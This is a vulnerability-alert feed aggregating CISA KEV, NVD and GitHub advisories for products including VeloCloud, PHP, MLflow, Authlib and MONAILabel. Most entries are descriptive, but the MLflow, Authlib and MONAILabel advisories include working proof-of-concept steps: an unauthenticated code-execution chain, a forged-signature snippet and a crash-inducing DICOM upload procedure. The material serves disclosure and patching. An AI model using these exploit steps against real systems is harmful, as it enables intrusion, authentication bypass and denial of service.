Monitorizare și căutare în alertele de vulnerabilitate din CISA KEV, NVD (NIST) și GitHub Advisories. Sunt afișate identificatorul CVE, severitatea și informațiile disponibile despre exploatare.
VeloCloud Orchestrator (VCO) on-prem has a security issue where this issue may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator.
On an affected system, any authenticated user can gain operator privileges and masquerade as a local "superuser operator" user. This includes access to functionality that is intended for internal use only and which is not intended to be remotely accessible.
Hosted, including Dedicated, versions of VCO were impacted and have already been patched.
⚠️ Directivă de Remediere (CISA KEV):
Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream.
Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.
⚠️ Directivă de Remediere (CISA KEV):
Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
PHP has various global state that temporarily points into request memory. In some scenarios, global state may not be correctly reset, or may be repopulated after being reset. The global state may then refer to request memory even after it has been freed. Subsequent requests may read or branch on this stale state before it is fully initialized. Multiple strategies can trigger this condition and produce remote code execution (RCE).
⚠️ Directivă de Remediere (CISA KEV):
Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
PHP uses longjmp() for out-of-memory (OOM) errors to exit the current context and abort handling of the request. Some contexts may not properly account for this scenario and leave request memory in an uninitialized state before performing an allocation. The subsequent request cleanup procedure may read or branch on this memory. Multiple OOM strategies can consistently trigger this condition and lead to remote code execution (RCE).
⚠️ Directivă de Remediere (CISA KEV):
Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Broadcom VMware vCenter contains a path traversal vulnerability which could allow a threat actor with network access to vCenter to execute arbitrary code.
⚠️ Directivă de Remediere (CISA KEV):
Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
JetBrains TeamCity Deserialization of Untrusted Data Vulnerability
🏢JetBrains· TeamCity🛡️CWE-502
JetBrains TeamCity contains a deserialization of untrusted data vulnerability that could allow unauthenticated remote code execution via the agent polling protocol.
⚠️ Directivă de Remediere (CISA KEV):
Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Cisco Secure Firewall Management Center Use of Hard-coded Password Vulnerability
🏢Cisco· Secure Firewall Management Center (FMC)🛡️CWE-259
Cisco Secure Firewall Management Center (FMC) formerly known as Firepower Management Center contains a use of hard-coded password vulnerability that could allow an unauthenticated, remote attacker to log in to an affected device using a low-privileged account to access sensitive data within the impacted systems.
⚠️ Directivă de Remediere (CISA KEV):
Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
## Summary
MLflow 3.12.0 introduced registration and deserialization support for third-party scorers in OSS MLflow. During scorer deserialization, the server accepts a request-controlled Python module path beneath one of four allowed package prefixes, imports that module, obtains a request-controlled class, and instantiates it synchronously.
An HTTP caller can combine this behavior with MLflow's built-in experiment, run, and artifact-upload endpoints:
1. Create an experiment whose local artifact location points to a writable allowed scorer package.
2. Create a run, causing MLflow to allocate `<artifact_location>/<run_id>/artifacts/`.
3. Upload a Python module into that run artifact directory.
4. Submit a serialized third-party scorer whose module path resolves to the uploaded file.
5. Trigger server-side import and class construction through `/ajax-api/3.0/mlflow/scorer/invoke`.
On the default no-auth server using the official MLflow v3.14.0 image, this produces unauthenticated arbitrary Python code execution with the privileges of the MLflow server process. The reproduced image runs the process as uid 0 and permits writes to its installed Python package tree.
The attached proof of concept is intentionally harmless. The uploaded constructor performs one action only: it writes a random marker beside its own uploaded run artifact. The marker is then downloaded through MLflow's run-artifact endpoint and checked for an exact match.
## Technical details
### 1. The allow-list accepts attacker-created descendants
At release commit `86cd7f5a1dc25a1387ad07c87811bbc30f62951c`, `mlflow/genai/scorers/scorer_utils.py` defines these allowed roots:
```python
THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
"mlflow.genai.scorers.ragas",
"mlflow.genai.scorers.deepeval",
"mlflow.genai.scorers.trulens",
"mlflow.genai.scorers.phoenix",
})
```
In `mlflow/genai/scorers/base.py`, the deserializer accepts either an exact root or any descendant:
```python
module_path == m or module_path.startswith(m + ".")
```
It then performs the following operations using request-controlled values:
```python
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None)
scorer_instance = scorer_class(**init_kwargs)
```
A package-name prefix is not a provenance boundary. If the server process can write below an allowed package, an attacker-created descendant can satisfy the string-prefix check and become importable Python code.
Relevant source locations at the v3.14.0 release commit:
* `mlflow/genai/scorers/scorer_utils.py`, allowed third-party scorer modules
* `mlflow/genai/scorers/base.py`, third-party scorer deserialization and construction
### 2. Deserialization occurs before trace processing
In `mlflow/server/handlers.py`, `_invoke_scorer_handler()` parses the supplied serialized scorer and calls:
```python
scorer = Scorer.model_validate_json(serialized_scorer)
```
Only after deserialization and construction does the handler call:
```python
batches = get_trace_batches_for_scorer(trace_ids, scorer, tracking_store)
```
The attacker-controlled constructor therefore runs before the server validates or resolves the supplied trace IDs.
The minimal proof class is deliberately not a complete MLflow scorer. After its constructor writes the marker, later trace-batching logic accesses scorer attributes that the proof class does not implement. The resulting HTTP 500 occurs after code execution and does not invalidate the proof.
No background job execution or special job-execution server option is required to reach the constructor.
### 3. MLflow's artifact layout places the module under the trusted prefix
The experiment creation endpoint accepts an `artifact_location`. For file-backed experiments, MLflow derives each run artifact directory as:
```text
<artifact_location>/<run_id>/artifacts/
```
The proof of concept selects this package directory in the official v3.14.0 image:
```text
file:///usr/local/lib/python3.10/site-packages/mlflow/genai/scorers/trulens
```
After creating a run and uploading `audit_<token>.py`, the resulting filesystem location is:
```text
/usr/local/lib/python3.10/site-packages/mlflow/genai/scorers/trulens/<run_id>/artifacts/audit_<token>.py
```
The corresponding import path is:
```text
mlflow.genai.scorers.trulens.<run_id>.artifacts.audit_<token>
```
The attack does not overwrite an existing package module. It creates a new run-scoped module in the normal file-backed artifact layout. The run ID is returned to the caller.
### 4. Authentication and authorization behavior
With authentication disabled, as in the default reproduced server configuration, no credentials are required.
When MLflow basic authentication is enabled, authentication still applies. However, the scorer-invocation AJAX endpoint is assigned to `validate_gateway_proxy`, which returns `True` without performing an experiment- or scorer-level resource permission check.
Practical exploitation in an authenticated deployment still requires the caller to create an experiment and run and upload artifacts to them. The key authorization issue is that scorer deserialization itself is not gated by a resource-specific permission check for the supplied experiment before the import occurs.
## Proof of concept
The attached reproduction is intentionally isolated:
* exact official MLflow v3.14.0 image pinned by manifest digest;
* Docker network disabled;
* MLflow bound to container loopback;
* no shell command or external callback;
* no external request;
* no host filesystem write;
* marker created beside the uploaded run artifact;
* marker retrieved through the run-artifact download endpoint; and
* disposable container removed after completion.
Run:
```bash
./run-official-image.sh
```
Expected output:
```text
MLFLOW_VERSION=3.14.0
PACKAGE_DIR=/usr/local/lib/python3.10/site-packages/mlflow/genai/scorers/trulens
CREATE_EXPERIMENT_STATUS=200
CREATE_RUN_STATUS=200
UPLOAD_STATUS=200
INVOKE_STATUS=500
PROOF_DOWNLOAD_STATUS=200
PROOF_MATCH=1
RESULT=AFFECTED
```
The security-relevant result is:
```text
PROOF_MATCH=1
RESULT=AFFECTED
```
This proves that the attacker-controlled constructor executed in the MLflow server process before the later scorer-processing failure.
## Reproduction environment
* **Release:** MLflow v3.14.0
* **Release commit:** `86cd7f5a1dc25a1387ad07c87811bbc30f62951c`
* **Official image:** `ghcr.io/mlflow/mlflow:v3.14.0`
* **Manifest digest:** `sha256:967de3ca34b6a5751718e380a0a383eb0ce1a6f5b484f363bd0da7559117a5f8`
* **Python version:** 3.10.18
* **Image-configured user:** empty
* **Observed runtime user:** uid 0
* **Server bind:** `127.0.0.1:5000`
* **Container network:** disabled
* **Backend store:** `sqlite:////work/mlflow.db`
* **Default artifact root:** `/work/artifacts`
* **Authentication:** disabled
* **Special job-execution option:** none
Server command inside the disposable container:
```bash
mlflow server \
--host 127.0.0.1 \
--port 5000 \
--backend-store-uri sqlite:////work/mlflow.db \
--default-artifact-root /work/artifacts
```
## Affected range and source lineage
The vulnerable third-party scorer deserialization behavior was introduced by commit:
```text
02eea26035b9d8e65af31e6e8f058ca195f62cdd
Enable third-party scorer registration in OSS MLflow (#22634)
```
The feature is absent from v3.11.1 and first appears in v3.12.0.
Runtime reproduction succeeds on v3.14.0. The relevant `mlflow/genai/scorers/base.py` content is unchanged at master commit:
```text
20858c9426a9644dfcf9545a92cbb534376779eb
```
No fixed release was identified as of 2026-07-12.
## Impact
On the reproduced stock no-auth image, any network caller who can reach the tracking server can execute Python code as the MLflow process without credentials or user interaction.
Successful exploitation provides confidentiality, integrity, and availability impact over all data, credentials, network access, and filesystem locations available to the MLflow server process.
The stock image's runtime uid 0 increases container-level impact. Host impact still depends on the container runtime configuration, mounted paths, granted capabilities, socket exposure, and other isolation controls.
In authentication-enabled deployments, exploitation requires an authenticated principal capable of creating an experiment and run and uploading artifacts. The exact chain also requires the server process to be able to write beneath one of the allowed scorer packages. This condition holds in the reproduced official image and may hold in virtual environments installed and run by the same operating-system user.
A read-only container filesystem or a scorer package directory owned by a different, non-writable user blocks this exact placement chain.
## Artifacts and attachments
### Remote proof-of-concept script
POC Script: [new_remote_poc.py](https://github.com/user-attachments/files/29936616/new_remote_poc.py)
The remote proof of concept was then executed as follows. The disposable machine’s public IP has been redacted:
```bash
python3 new_remote_poc.py \
--target http://<REDACTED_PUBLIC_IP> \
--package-dir /usr/local/lib/python3.10/site-packages/mlflow/genai/scorers/trulens \
--acknowledge-owned-target I_OWN_THIS_TARGET
```
The complete sanitized output was:
```text
TARGET=http://<REDACTED_PUBLIC_IP>
VERSION_STATUS=200
MLFLOW_VERSION=3.14.0
CREATE_EXPERIMENT_STATUS=200
EXPERIMENT_ID=2
CREATE_RUN_STATUS=200
RUN_ID=9a2d665eb38940b68983f0586f623115
UPLOAD_STATUS=200
IMPORT_PATH=mlflow.genai.scorers.trulens.9a2d665eb38940b68983f0586f623115.artifacts.audit_1783843760683972103
INVOKE_STATUS=500
INVOKE_RESPONSE_PREVIEW='<!doctype html>\n<html lang=en>\n<title>500 Internal Server Error</title>\n<h1>Internal Server Error</h1>\n<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>\n'
PROOF_DOWNLOAD_STATUS=200
EXPECTED_MARKER_SHA256=7a423b479df3524567fdf8cc3e7f6c4bfccc577fbcc4bac9519db8bd1cc61ed5
PROOF_MATCH=1
SERVER_CLEANUP_PATH=/usr/local/lib/python3.10/site-packages/mlflow/genai/scorers/trulens/9a2d665eb38940b68983f0586f623115
PROOF_OUTPUT_BEGIN
{
"cwd": "/",
"machine": "x86_64",
"marker": "MLFLOW_REMOTE_SAFE_MARKER_1783843760683972103",
"os_release": "PRETTY_NAME=\"Debian GNU/Linux 11 (bullseye)\"\nNAME=\"Debian GNU/Linux\"\nVERSION_ID=\"11\"\nVERSION=\"11 (bullseye)\"\nVERSION_CODENAME=bullseye\nID=debian\nHOME_URL=\"https://www.debian.org/\"\nSUPPORT_URL=\"https://www.debian.org/support\"\nBUG_REPORT_URL=\"https://bugs.debian.org/\"\n",
"platform": "Linux-7.0.0-1006-aws-x86_64-with-glibc2.31",
"python_implementation": "CPython",
"python_version": "3.10.18",
"server_datetime_utc": "2026-07-12T08:09:43.555055+00:00",
"whoami": "root",
"whoami_returncode": 0,
"whoami_stderr": ""
}
PROOF_OUTPUT_END
RESULT=AFFECTED
EXPERIMENT_METADATA_CLEANUP_STATUS=200
CLEANUP_NOTE=discard the temporary test instance or remove SERVER_CLEANUP_PATH on the owned host
```
The proof file was also verified directly inside the disposable container:
```bash
cat /usr/local/lib/python3.10/site-packages/mlflow/genai/scorers/trulens/9a2d665eb38940b68983f0586f623115/artifacts/execution-proof-1783843760683972103.json
```
The file contained:
```json
{
"cwd": "/",
"machine": "x86_64",
"marker": "MLFLOW_REMOTE_SAFE_MARKER_1783843760683972103",
"os_release": "PRETTY_NAME=\"Debian GNU/Linux 11 (bullseye)\"\nNAME=\"Debian GNU/Linux\"\nVERSION_ID=\"11\"\nVERSION=\"11 (bullseye)\"\nVERSION_CODENAME=bullseye\nID=debian\nHOME_URL=\"https://www.debian.org/\"\nSUPPORT_URL=\"https://www.debian.org/support\"\nBUG_REPORT_URL=\"https://bugs.debian.org/\"\n",
"platform": "Linux-7.0.0-1006-aws-x86_64-with-glibc2.31",
"python_implementation": "CPython",
"python_version": "3.10.18",
"server_datetime_utc": "2026-07-12T08:09:43.555055+00:00",
"whoami": "root",
"whoami_returncode": 0,
"whoami_stderr": ""
}
```
The results demonstrate that:
* the attacker-controlled module was uploaded beneath an allowed scorer package;
* MLflow imported the request-selected module and invoked its constructor;
* the constructor executed as the MLflow server process, which ran as `root` in the reproduced official image;
* the constructor created a server-side proof file containing a random marker and bounded runtime information;
* the proof file was retrieved successfully through MLflow’s artifact-download endpoint; and
* the later HTTP 500 occurred only after constructor execution.
The authoritative reproduction indicators are:
```text
UPLOAD_STATUS=200
PROOF_DOWNLOAD_STATUS=200
PROOF_MATCH=1
RESULT=AFFECTED
```
The disposable cloud machine and container were removed after testing.
Local Reproduction Scripts:
[run-official-image.sh](https://github.com/user-attachments/files/29936514/run-official-image.sh)
[poc_local.py](https://github.com/user-attachments/files/29936506/poc_local.py)
Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.
## Root cause
`authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact:
```python
is_valid = True # set before anything is checked
for header_obj in obj["signatures"]: # empty array means the body never runs
jws_header, valid = self._validate_json_jws(...)
if not valid:
is_valid = False
...
if is_valid:
return rv # returns the payload as verified
```
`is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON
Serialization object whose `signatures` array is empty iterates zero times, so the flag survives and
the payload is returned as successfully verified. No key is consulted, because no signature is
examined.
## Reproduction
```python
import base64
from authlib.jose import JsonWebSignature
def b64(b):
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
jws = JsonWebSignature()
payload = b'{"sub":"attacker","role":"admin"}'
forged = {"payload": b64(payload), "signatures": []}
print(jws.deserialize_json(forged, key=None))
```
Observed on authlib 1.8.0, Python 3.14, clean virtualenv:
```
[A] ATTACK general JSON, signatures:[] , key=None
ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[B] ATTACK general JSON, signatures:[] , key=<real key>
ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[C] CONTROL+ genuine general JSON with 2 signatures, right key
ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}'
[D] CONTROL- same object, first signature corrupted
rejected (expected): BadSignatureError bad_signature:
[E] CONTROL- signatures array removed entirely (not empty, absent)
rejected: DecodeError Missing "protected" value:
```
[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves
tampering is caught. [E] proves this is specifically the empty-array case and not a general
missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not
save a caller: the empty array is accepted either way.
For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects
the identical object with `BadSignatureError`. The correct behaviour already exists in your newer
library.
## Impact
Any relying party that calls `JsonWebSignature.deserialize_json()` on input it did not produce will
accept an attacker-authored payload as signed. Where that payload carries identity or authorisation
claims, this is a complete authentication bypass by an unauthenticated remote caller with no key
material.
## What would fix it
In `_deserialize_json`, reject an empty `signatures` array before the loop, or initialise the flag
from the signature count, for example `is_valid = len(obj["signatures"]) > 0`. Pull request #938
proposes the same thing.
nest-admin before 1.0.1 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge administrator tokens by using a hardcoded JWT_SECRET committed in .env.production. Attackers can sign tokens with the known secret that JwtStrategy and RbacGuard trust, impersonating any user ID or claiming the admin role for full administrative access.
### Impact
Agno versions prior to 2.3.24 contain an arbitrary code execution vulnerability
in the model execution component. The `field_type` parameter on a `FunctionCall`
input field was passed to Python's built-in `eval()`, allowing an attacker who
could influence that value to execute arbitrary Python code in the Agno process.
This is a code injection flaw (CWE-95) with full impact to confidentiality,
integrity, and availability. CVSS 3.1 score: 9.3 (Critical).
Any deployment that exposes Agno to user-influenced FunctionCall inputs
(for example via an API, web UI, or untrusted tool/model output) is affected.
### Patches
Fixed in **Agno 2.3.24**.
The unsafe `eval()` call was replaced with a fixed `type_mapping` dictionary
lookup, and `field_type` is now validated as either a known string key or an
already-resolved `type` object before use. See commit
[cbf67552](https://github.com/agno-agi/agno/commit/cbf675521d4d2281925a051784a3b94172e56416)
(PR #5912).
All users should upgrade to 2.3.24 or later. The current release line (2.6.x)
includes the fix.
### Workarounds
There is no safe workaround. Users who cannot upgrade should ensure no
untrusted input can reach the `field_type` parameter of `FunctionCall`
input fields, but upgrading is strongly preferred.
### References
- Patch commit: https://github.com/agno-agi/agno/commit/cbf675521d4d2281925a051784a3b94172e56416
- Patch PR: https://github.com/agno-agi/agno/pull/5912
- CWE-95: https://cwe.mitre.org/data/definitions/95.html
### Summary
An unauthenticated remote attacker can crash a running MONAILabel server or silently corrupt its medical AI inference results by uploading a single crafted DICOM file (~132 KB) via the REST API. The vulnerability stems from pydicom's lack of validation for Decimal String (DS) and Integer String (IS) DICOM Value Representations, which allows NaN and infinity values to pass through MONAI's PydicomReader and propagate through the entire spatial transform and ML inference pipeline.
No authentication is required for the default MONAILabel REST API. The attacker needs only network access to the server (default port 8000).
**Severity:** CVSS 3.1: 8.7 HIGH
**CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:L
**CWE:** CWE-20 (Improper Input Validation) → CWE-682 (Incorrect Calculation)
### Details
**Root Cause — Layer 1: pydicom accepts invalid VR values**
pydicom's `DSfloat.__new__()` calls Python's `float(val)`, which silently accepts "NaN", "inf", and "-inf". The DICOM standard (PS3.5 Table 6.2-1) defines DS as digits 0-9, +, -, ., e only. NaN and inf are not valid DS values. The `is_valid_ds()` check only runs in RAISE validation mode, which is NOT the default. The default mode is WARN, which still returns the invalid value.
```python
>>> from pydicom.valuerep import DSfloat
>>> DSfloat("NaN")
nan # Accepted silently — should be rejected
>>> DSfloat("inf")
inf # Accepted silently — should be rejected
```
This affects ALL pydicom versions from 0.9.7 through 3.0.2 (current).
A related bypass exists in pydicom's IS type: `IS("1e4")` returns 10000 via an `int(float(val))` fallback, accepting scientific notation that is not valid per the DICOM standard.
**Root Cause — Layer 2: MONAI Core trusts pydicom output without validation**
MONAI's `PydicomReader._get_affine()` builds a 4x4 affine transformation matrix from PixelSpacing, ImagePositionPatient, and ImageOrientationPatient with ZERO `isfinite()` or `isnan()` checks. NaN in PixelSpacing produces NaN in the affine diagonal, propagating through every spatial transform:
`PydicomReader._get_affine() → LoadImaged → Spacingd → Model → Writer`
**Root Cause — Layer 3: MONAILabel REST API accepts anything**
MONAILabel's `PUT /datastore/` endpoint accepts DICOM uploads with no authentication (default deployment), no validation of spatial metadata, and no bounds checking on any DICOM tag values. The malicious DICOM is stored permanently and made available for inference.
### PoC
**Environment Setup:**
```bash
# Start MONAILabel (Docker)
docker pull projectmonai/monailabel:latest
docker run -d --name monailabel-poc -p 8000:8000 --memory=8g \
projectmonai/monailabel:latest monailabel start_server \
--app /opt/monai/sample-apps/radiology \
--studies /opt/monai/datasets/Task09_Spleen/imagesTr \
--conf models segmentation
# Verify server is running
curl http://localhost:8000/info/
```
**Step 1 — Establish baseline (legitimate data works):**
```bash
curl -X POST "http://localhost:8000/infer/segmentation?image=spleen_40" \
-o baseline.nii.gz -w "HTTP %{http_code} - %{size_download} bytes"
# Result: HTTP 200, ~223,628 bytes valid segmentation mask
```
**Step 2 — Run the attack (NaN DICOM upload + inference):**
```bash
pip install pydicom numpy requests
python poc_monailabel_ds_bypass.py --server http://localhost:8000
```
The PoC script:
1. Confirms pydicom accepts NaN/inf in DS fields
2. 2. Creates three malicious DICOM files (~132 KB each) with NaN/inf in PixelSpacing and ImagePositionPatient
3. 3. Uploads each via `PUT /datastore/` (no auth required) — HTTP 200 accepted
4. 4. Triggers inference via `POST /infer/segmentation` — HTTP 500, server crash
**Demonstrated Results:**
| Payload | Upload | Inference | Result |
|---|---|---|---|
| Baseline (spleen_40) | N/A | HTTP 200 | Valid 223 KB segmentation |
| NaN PixelSpacing | HTTP 200 | HTTP 500 | RuntimeError crash (18.0s wasted compute) |
| NaN PixelSpacing + IPP | HTTP 200 | HTTP 500 | RuntimeError crash (16.7s wasted compute) |
| Inf PixelSpacing | HTTP 200 | HTTP 500 | RuntimeError crash (16.4s wasted compute) |
**Server crash traceback:**
```
monailabel/tasks/infer/basic_infer.py → self.writer(data)
monailabel/transform/writer.py → write_itk(...)
itk/ITKCommonBasePython.py → itkProcessObject_Update()
RuntimeError: itkGDCMImageIO.cxx:1226:
ITK ERROR: GDCMImageIO: A Floating point buffer was passed
but the stored pixel type was not specified.
```
Each request burns ~16 seconds of server compute (full ML inference pipeline) before crashing. The NaN DICOM persists in the datastore — any future inference on that image ID crashes the server again.
**Library-level confirmation:** 17/17 test vectors confirmed against MONAI 1.5.2 and pydicom 3.0.2, including actual MONAI `LoadImaged` and `Spacingd` transforms accepting NaN geometry without error.
### Impact
1. **Denial of Service:** A single ~132 KB DICOM upload crashes the MONAILabel inference pipeline. All active inference requests from legitimate users are aborted. Repeatable indefinitely with minimal bandwidth.
2. **Silent Data Corruption:** NaN values in spatial metadata propagate through the entire ML inference pipeline and produce geometrically incorrect segmentation masks. If the output writer does not crash, the result is returned with HTTP 200 and zero warnings.
3. **Persistent Datastore Poisoning:** The malicious DICOM is stored permanently via `PUT /datastore/`. Any future inference request on that image ID reproduces the crash or corruption, persisting across server restarts.
**Affected MONAI Ecosystem (9 repositories):**
- MONAI Core: PydicomReader, LoadImaged, Spacingd transforms
- - MONAILabel: REST API + DICOMweb datastore
- - MONAI Deploy App SDK: DICOMDataLoaderOperator
- - model-zoo, VISTA, GenerativeModels, tutorials, research-contributions
**Affected DICOM Tags (any DS VR):** PixelSpacing, ImagePositionPatient, SliceThickness, ImageOrientationPatient, RescaleSlope, WindowCenter/WindowWidth
**Recommended Fix:**
1. Add `math.isfinite()` validation in `PydicomReader._get_affine()` on all values from PixelSpacing, IPP, IOP. Raise ValueError for NaN/inf.
2. 2. Validate spatial metadata of uploaded DICOM in MONAILabel `PUT /datastore/`. Return HTTP 400 for invalid geometry.
3. 3. Validate spatial metadata is finite in `LoadImaged`/`Spacingd` before resampling.
4. 4. Coordinate with pydicom upstream to reject NaN/inf in DS fields in all validation modes.
**Upstream:** pydicom GHSA filed 2026-04-05.
**Author:** Paulino Calderon ([email protected])
### Impact
An unauthenticated user could gain access to a server to execute arbitrary code on this server.
### Patches
This is fixed in the version 2.2.13. Users should upgrade to this version as soon as possible.
NVIDIA NeMo Agent Toolkit contains a vulnerability where a attacker could cause a missing authentication issue. This vulnerability might lead to code execution, escalation of privileges, data tampering, denial of service, and information disclosure.
In Eclipse ioFog Operator versions 3.8.0 before 3.9.2, TLS certificate verification is disabled when the operator contacts the Controller API and when it logs in to an external OIDC issuer. An on-path attacker can present any certificate, capture the OAuth client secret (external mode) or the Controller bootstrap admin password (embedded mode with Controller HTTPS enabled), and supply the access token the operator stores for later Controller API calls. v3.8 removed Keycloak. The exposed credential is not a Keycloak realm-admin secret.
@fastify/express is a Fastify plugin that runs Express middleware inside Fastify. In versions 4.0.5 through 4.0.8, when Fastify runs with the non-default ignoreDuplicateSlashes option enabled, the plugin matches path-scoped Express middleware against a URL whose duplicate-slash normalization has also collapsed the separator after an absolute-form request target's scheme, so Fastify's router resolves the request to the scoped path and runs the handler while the Express layer no longer sees that path. As a result, a request using an absolute-form target can reach a handler on a scoped route such as an admin path while the middleware for authentication, authorization, or rate limiting is skipped. An unauthenticated attacker needs only the non-default ignoreDuplicateSlashes option to be enabled. The issue is fixed in @fastify/express 4.0.9, and users should upgrade to 4.0.9 or later. As a workaround, enforce authentication in a Fastify hook such as preHandler that runs after the router resolves the request, or leave ignoreDuplicateSlashes at its default.
REDAXO core from 5.3.0 before 5.21.4 contains an authentication bypass vulnerability in the structure/history plugin that allows unauthenticated attackers to forge temporary login tokens. Attackers can force the session-tied secret into a predictable state and forge tokens for accounts like admin, gaining backend access and code execution outside live mode.
Out-of-bounds Write Vulnerability in JP1 Products.
This issue affects JP1/Integrated Management 3 - Manager: from 13-00 before 13-50-31; JP1/Automatic Job Management System 3 - Manager: from 13-00 before 13-50-31; JP1/Automatic Job Management System 3 - Agent: from 13-00 before 13-50-31; JP1/Automatic Job Management System 3 - Agent Minimal Edition: from 13-00 before 13-50-31; JP1/Base: from 11-00 before 12-50-54.
Heap-based Buffer Overflow Vulnerability in JP1 Products.
This issue affects JP1/Integrated Management 3 - Manager: from 13-00 before 13-50-31; JP1/Automatic Job Management System 3 - Manager: from 13-00 before 13-50-31; JP1/Automatic Job Management System 3 - Agent: from 13-00 before 13-50-31; JP1/Automatic Job Management System 3 - Agent Minimal Edition: from 13-00 before 13-50-31; JP1/Base: from 11-00 before 12-50-54.
Stack-based Buffer Overflow Vulnerability in JP1 Products.
This issue affects JP1/Integrated Management 3 - Manager: from 13-00 before 13-50-31; JP1/Automatic Job Management System 3 - Manager: from 13-00 before 13-50-31; JP1/Automatic Job Management System 3 - Agent: from 13-00 before 13-50-31; JP1/Automatic Job Management System 3 - Agent Minimal Edition: from 13-00 before 13-50-31; JP1/Base: from 11-00 before 12-50-54.
Stack-based Buffer Overflow Vulnerability in HiRDB.
This issue affects HiRDB Server Version 10: from 10-00 before 10-12-01; HiRDB Server V
🏢Hitachi· HiRDB Server Version 10🛡️CWE-121📐CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Stack-based Buffer Overflow Vulnerability in HiRDB.
This issue affects HiRDB Server Version 10: from 10-00 before 10-12-01; HiRDB Server Version 9: from 09-00 through 09-66-22; HiRDB Server with Additional Function Version 9: from 09-00 through 09-66/V; HiRDB Server Version 9(32): from 09-02 through 09-66-22; HiRDB Server with Additional Function Version 9(32): from 09-00 through 09-66-/V.
Heap-based Buffer Overflow Vulnerability in HiRDB.
This issue affects HiRDB Server Version 10: from 10-00 before 10-12-01; HiRDB Server Ve
🏢Hitachi· HiRDB Server Version 10🛡️CWE-122📐CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Heap-based Buffer Overflow Vulnerability in HiRDB.
This issue affects HiRDB Server Version 10: from 10-00 before 10-12-01; HiRDB Server Version 9: from 09-00 through 09-66-22; HiRDB Server with Additional Function Version 9: from 09-00 through 09-66/V; HiRDB Server Version 9(32): from 09-02 through 09-66-22; HiRDB Server with Additional Function Version 9(32): from 09-00 through 09-66-/V.
OS Command Injection Vulnerability in HiRDB.
This issue affects HiRDB Server Version 10: from 10-00 before 10-12-01; HiRDB Server Version
🏢Hitachi· HiRDB Server Version 10🛡️CWE-78📐CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OS Command Injection Vulnerability in HiRDB.
